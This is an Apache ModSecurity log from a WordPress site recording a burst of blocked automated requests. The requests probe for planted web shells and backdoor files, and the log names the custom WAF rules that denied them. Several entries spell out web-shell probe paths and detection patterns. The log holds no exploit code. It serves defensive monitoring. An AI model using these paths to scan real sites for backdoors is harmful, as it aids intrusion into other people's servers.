[Thu Nov 20 07:10:08.545467 2025] [:error] [pid 55430:tid 55435] [client 185.223.152.82:62797] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/admin-ajax.php"] [unique_id "aR5OUPPZXaIMEU4pE7tSnwAAAMI"]
[Thu Nov 20 07:10:09.218315 2025] [:error] [pid 34405:tid 34420] [client 185.223.152.80:20909] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "aR5OUTFpvu8oRK7ATfuGLQAAAQ0"]
[Thu Nov 20 07:10:10.004372 2025] [:error] [pid 34405:tid 34423] [client 185.223.152.87:49339] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content.php"] [unique_id "aR5OUjFpvu8oRK7ATfuGLgAAARA"]
[Thu Nov 20 07:10:10.679358 2025] [:error] [pid 55430:tid 55441] [client 185.223.152.81:46725] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aR5OUvPZXaIMEU4pE7tSogAAAMg"]
[Thu Nov 20 07:10:11.348996 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.83:22977] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aR5OU_PZXaIMEU4pE7tSowAAAMw"]
[Thu Nov 20 07:10:12.024320 2025] [:error] [pid 34405:tid 34428] [client 185.223.152.69:50213] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aR5OVDFpvu8oRK7ATfuGMAAAARU"]
[Thu Nov 20 07:10:12.701821 2025] [:error] [pid 34405:tid 34407] [client 185.223.152.79:32507] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/system.php"] [unique_id "aR5OVDFpvu8oRK7ATfuGMQAAAQA"]
[Thu Nov 20 07:10:13.372403 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.70:57415] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aR5OVTFpvu8oRK7ATfuGMgAAAQE"]
[Thu Nov 20 07:10:14.040892 2025] [:error] [pid 55342:tid 55392] [client 185.223.152.84:36937] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/zasf"] [unique_id "aR5OVrg6x32Tvk7fIG9OBAAAAFQ"]
[Thu Nov 20 07:10:14.713702 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.76:39579] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aR5OVjFpvu8oRK7ATfuGNQAAAQo"]
[Thu Nov 20 07:10:15.381478 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.69:23755] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "aR5OV7g6x32Tvk7fIG9OBQAAAE0"]
[Thu Nov 20 07:10:16.059842 2025] [:error] [pid 34405:tid 34421] [client 185.223.152.86:38587] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aR5OWDFpvu8oRK7ATfuGNgAAAQ4"]
[Thu Nov 20 07:10:16.765013 2025] [:error] [pid 55340:tid 55359] [client 185.223.152.84:24023] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aR5OWPOxD-NeMydTybDTpgAAAA4"]
[Thu Nov 20 07:10:17.438229 2025] [:error] [pid 34405:tid 34418] [client 185.223.152.89:49615] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-conflg.php"] [unique_id "aR5OWTFpvu8oRK7ATfuGOAAAAQs"]
[Thu Nov 20 07:10:18.107121 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.4:46557] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aR5OWvPZXaIMEU4pE7tSpwAAAMA"]
[Thu Nov 20 07:10:18.778784 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.73:30775] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aR5OWrg6x32Tvk7fIG9OCwAAAEI"]
[Thu Nov 20 07:10:19.446923 2025] [:error] [pid 55343:tid 55406] [client 185.223.152.77:62209] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aR5OW1WlO3EnyVMV7w4NDgAAAIc"]
[Thu Nov 20 07:10:20.118908 2025] [:error] [pid 34444:tid 34460] [client 185.223.152.72:59739] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/archives/"] [unique_id "aR5OXFNEol4jlmmA_GOoPwAAAU4"]
[Thu Nov 20 07:10:20.794797 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.78:30611] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aR5OXFNEol4jlmmA_GOoQQAAAUA"]
[Thu Nov 20 07:10:21.466027 2025] [:error] [pid 34444:tid 34448] [client 185.223.152.82:25611] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aR5OXVNEol4jlmmA_GOoRgAAAUI"]
[Thu Nov 20 07:10:22.133627 2025] [:error] [pid 55343:tid 55401] [client 185.223.152.89:52353] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aR5OXlWlO3EnyVMV7w4NLwAAAII"]
[Thu Nov 20 07:10:22.801461 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.84:32701] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aR5OXrg6x32Tvk7fIG9OJgAAAEo"]
[Thu Nov 20 07:10:23.474949 2025] [:error] [pid 34444:tid 34450] [client 185.223.152.66:33799] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/options.php"] [unique_id "aR5OX1NEol4jlmmA_GOoTQAAAUQ"]
[Thu Nov 20 07:10:24.149946 2025] [:error] [pid 55340:tid 55367] [client 185.223.152.83:24139] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/about.php"] [unique_id "aR5OYPOxD-NeMydTybDTtQAAABY"]
[Thu Nov 20 07:10:24.819316 2025] [:error] [pid 34444:tid 34449] [client 185.223.152.89:53845] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aR5OYFNEol4jlmmA_GOoUAAAAUM"]
[Thu Nov 20 07:10:25.494101 2025] [:error] [pid 34405:tid 34407] [client 185.223.152.4:47099] [client 185.223.152.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/shell/index.php"] [unique_id "aR5OYTFpvu8oRK7ATfuGPAAAAQA"]
[Thu Nov 20 07:10:26.165164 2025] [:error] [pid 34444:tid 34453] [client 185.223.152.77:35345] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aR5OYlNEol4jlmmA_GOoUgAAAUc"]
[Thu Nov 20 07:10:26.876173 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.91:26269] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-wolf.php"] [unique_id "aR5OYjFpvu8oRK7ATfuGPQAAAQE"]
[Thu Nov 20 07:10:27.545817 2025] [:error] [pid 34444:tid 34451] [client 185.223.152.89:28517] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aR5OY1NEol4jlmmA_GOoVwAAAUU"]
[Thu Nov 20 07:10:28.215982 2025] [:error] [pid 55342:tid 55385] [client 185.223.152.76:36823] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "aR5OZLg6x32Tvk7fIG9OMgAAAE0"]
[Thu Nov 20 07:10:28.898294 2025] [:error] [pid 34444:tid 34447] [client 185.223.152.80:43345] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aR5OZFNEol4jlmmA_GOoWAAAAUE"]
[Thu Nov 20 07:10:29.566813 2025] [:error] [pid 34405:tid 34412] [client 185.223.152.66:50187] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aR5OZTFpvu8oRK7ATfuGPwAAAQU"]
[Thu Nov 20 07:10:30.259836 2025] [:error] [pid 55342:tid 55381] [client 185.223.152.79:47999] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aR5OZrg6x32Tvk7fIG9ONQAAAEk"]
[Thu Nov 20 07:10:31.047950 2025] [:error] [pid 55430:tid 55450] [client 185.223.152.84:57855] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aR5OZ_PZXaIMEU4pE7tSyQAAANE"]
[Thu Nov 20 07:10:31.726153 2025] [:error] [pid 55342:tid 55394] [client 185.223.152.88:56813] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aR5OZ7g6x32Tvk7fIG9ONgAAAFY"]
[Thu Nov 20 07:10:32.404227 2025] [:error] [pid 34405:tid 34422] [client 185.223.152.76:29381] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aR5OaDFpvu8oRK7ATfuGQwAAAQ8"]
[Thu Nov 20 07:10:33.079196 2025] [:error] [pid 55342:tid 55375] [client 185.223.152.70:23997] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aR5Oabg6x32Tvk7fIG9OOAAAAEM"]
[Thu Nov 20 07:10:33.746281 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.71:52137] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "aR5OafPZXaIMEU4pE7tSywAAANI"]
[Thu Nov 20 07:10:34.418063 2025] [:error] [pid 55343:tid 55405] [client 185.223.152.78:34109] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "aR5OalWlO3EnyVMV7w4NOQAAAIY"]
[Thu Nov 20 07:10:35.273670 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.87:27943] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aR5Oa_OxD-NeMydTybDTwAAAABg"]
[Thu Nov 20 07:10:35.942748 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.86:46549] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aR5Oa1NEol4jlmmA_GOoWwAAAUw"]
[Thu Nov 20 07:10:36.622161 2025] [:error] [pid 34444:tid 34466] [client 185.223.152.85:22577] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/ini.php"] [unique_id "aR5ObFNEol4jlmmA_GOoXAAAAVQ"]
[Thu Nov 20 07:10:37.297369 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.85:45985] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/worksec.php"] [unique_id "aR5ObfOxD-NeMydTybDTwQAAAAI"]
[Thu Nov 20 07:10:37.966580 2025] [:error] [pid 34444:tid 34462] [client 185.223.152.66:45079] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aR5ObVNEol4jlmmA_GOoYAAAAVA"]
[Thu Nov 20 07:10:38.637483 2025] [:error] [pid 55343:tid 55399] [client 185.223.152.74:20079] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aR5OblWlO3EnyVMV7w4NPgAAAIA"]
[Thu Nov 20 07:10:39.320923 2025] [:error] [pid 55342:tid 55382] [client 185.223.152.82:47985] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-signin.php"] [unique_id "aR5Ob7g6x32Tvk7fIG9OPAAAAEo"]
[Thu Nov 20 07:10:39.990778 2025] [:error] [pid 34405:tid 34419] [client 185.223.152.90:49357] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aR5ObzFpvu8oRK7ATfuGRAAAAQw"]
[Thu Nov 20 07:10:40.701159 2025] [:error] [pid 34405:tid 34413] [client 185.223.152.68:32623] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/login.php"] [unique_id "aR5OcDFpvu8oRK7ATfuGRQAAAQY"]
[Thu Nov 20 07:10:41.369427 2025] [:error] [pid 55340:tid 55354] [client 185.223.152.78:37429] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aR5OcfOxD-NeMydTybDTxAAAAAk"]
[Thu Nov 20 07:10:42.053037 2025] [:error] [pid 34444:tid 34449] [client 185.223.152.73:20137] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aR5OclNEol4jlmmA_GOoZgAAAUM"]
[Thu Nov 20 07:10:42.726349 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.73:29571] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aR5OclNEol4jlmmA_GOoZwAAAUw"]
[Thu Nov 20 07:10:43.396279 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.80:51893] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aR5Oc7g6x32Tvk7fIG9OQwAAAE4"]
[Thu Nov 20 07:10:44.115597 2025] [:error] [pid 34444:tid 34470] [client 185.223.152.79:57909] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/block-support.php"] [unique_id "aR5OdFNEol4jlmmA_GOoaAAAAVg"]
[Thu Nov 20 07:10:44.783872 2025] [:error] [pid 55342:tid 55395] [client 185.223.152.83:42385] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aR5OdLg6x32Tvk7fIG9ORgAAAFc"]
